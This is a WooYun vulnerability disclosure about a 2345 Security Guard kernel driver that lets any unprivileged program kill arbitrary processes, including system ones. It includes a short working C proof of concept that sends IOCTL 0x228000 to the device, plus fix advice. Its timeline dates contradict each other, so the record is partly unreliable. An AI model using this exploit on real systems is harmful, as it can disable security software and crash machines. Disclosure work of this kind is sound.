当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156416

漏洞标题:2345安全卫士某驱动漏洞导致内核API可被任意调用

相关厂商:2345网址导航

漏洞作者: 路人甲

提交时间:2015-11-27 18:53

修复时间:2015-01-26 10:54

公开时间:2015-01-26 10:54

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-27: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-26: 细节向核心白帽子及相关领域专家公开
2016-02-05: 细节向普通白帽子公开
2016-02-15: 细节向实习白帽子公开
2015-01-26: 细节向公众公开

简要描述:

2345安全卫士的一个驱动对调用者的认证不严,导致任意应用层程序均可以利用该驱动来调用内核API,实现越权操作。

详细说明:

1.存在漏洞的驱动:2345PowerApi.sys 版本:**.**.**.**
2.漏洞成因:该驱动对Ring3提供了内核杀进程的接口,Ring3通过DeviceIoContol传递0x228000控制码实现调用。但该驱动对调用者未做合法性检查,导致任意程序都可以使用这个接口,用来杀死任意进程,包括杀死system权限的进程。
3.描述:
windows 7专业版,开启UAC

UAC.png


2345service.exe的Integrity level是system

2345service.png


攻击程序的Integrity level是Medium

fuzz.png


漏洞触发后,可以成功杀死2345service.exe
如果把传给驱动的进程pid修改为smss.exe,则系统会蓝屏崩溃。

漏洞证明:

void Fuzz2(HANDLE hDev)
{
DWORD dwReturned = 0;
char input[4096] = { 0 };

*((DWORD*)input) = 300;//1252; // 要kill的进程pid
DeviceIoControl(hDev,
0x228000,
(LPVOID)input,
4,
NULL,
0,
&dwReturned,
NULL);
}
void Fuzz1()
{
LPCTSTR DevName = _T("\\\\.\\2345PowerApi");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE != hDev)
{
OutputDebugStringA("Open Device OK!!!!\n");
Fuzz2(hDev);
CloseHandle(hDev);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
printf("Kill 2345\n");
Fuzz1();
return 0;
}

修复方案:

1.增加对驱动调用者的合法性验证;
2.对被杀的进程做白名单排除;

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-26 10:54

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无